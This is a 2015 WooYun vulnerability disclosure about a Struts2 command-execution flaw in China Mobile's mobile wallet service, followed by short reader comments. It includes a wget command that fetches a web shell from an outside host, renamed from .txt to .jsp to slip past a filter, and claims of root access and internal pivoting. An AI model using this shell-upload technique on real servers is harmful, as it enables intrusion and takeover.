中国移动手机钱包业务getshell(涉及多个库多个旁站,可致APK替换)

漏洞概要

缺陷编号:WooYun-2015-097411

漏洞标题:中国移动手机钱包业务getshell(涉及多个库多个旁站,可致APK替换)

相关厂商:中国移动

漏洞作者:p4ssw0rd

提交时间:2015-02-17 16:50

公开时间:2015-04-01 16:52

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

Tags标签:

漏洞详情

披露状态:

2015-02-17: 细节已通知厂商并且等待厂商处理中
2015-02-19: 厂商已经确认,细节仅向厂商公开
2015-03-01: 细节向核心白帽子及相关领域专家公开
2015-03-11: 细节向普通白帽子公开
2015-03-21: 细节向实习白帽子公开
2015-04-01: 细节向公众公开

简要描述:

-,-

详细说明:

struts2漏洞地址:http://**.**.**.**/PhotoflyingCity/AppActivityNfc/index.action?urlcategory=1&appid=AP310000000000010634&areacode=310000&portaltype=0&columnid=&accesstype=1&ext=&version=3&usessionid=&ua=&resourceid=SV310000000333&backurl=服务器有限制,wget无法直接下载shell,小技巧绕过先下载txt格式然后vm命令改成jspwget-P 绝对路径 http://**.**.**.**/shell.txtmv 绝对路径/shell.txt 绝对路径/shell.jsproot权限

可替换apk应用

涉及多个数据库

多个业务备份

多个内网机器,可继续渗透

漏洞证明:

修复方案:

升级

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-02-1908:50

厂商回复:

最新状态:

暂无

评价

  1. 2010-01-01 00:00 bey0nd 白帽子 | Rank:667 漏洞数:61)

    约吗

  2. 2010-01-01 00:00 s3xy 白帽子 | Rank:698 漏洞数:62)

  3. 2010-01-01 00:00 scanf 白帽子 | Rank:1161 漏洞数:100)

    就喜欢看这样的大洞。

  4. 2010-01-01 00:00 i3esn0w 白帽子 | Rank:26 漏洞数:3)

    就喜欢看这样的大洞。

  5. 2010-01-01 00:00 某人的外套 白帽子 | Rank:0 漏洞数:0)

    联通和电信也有问题,

  6. 2010-01-01 00:00 好学 白帽子 | Rank:0 漏洞数:1)

    学习大牛思路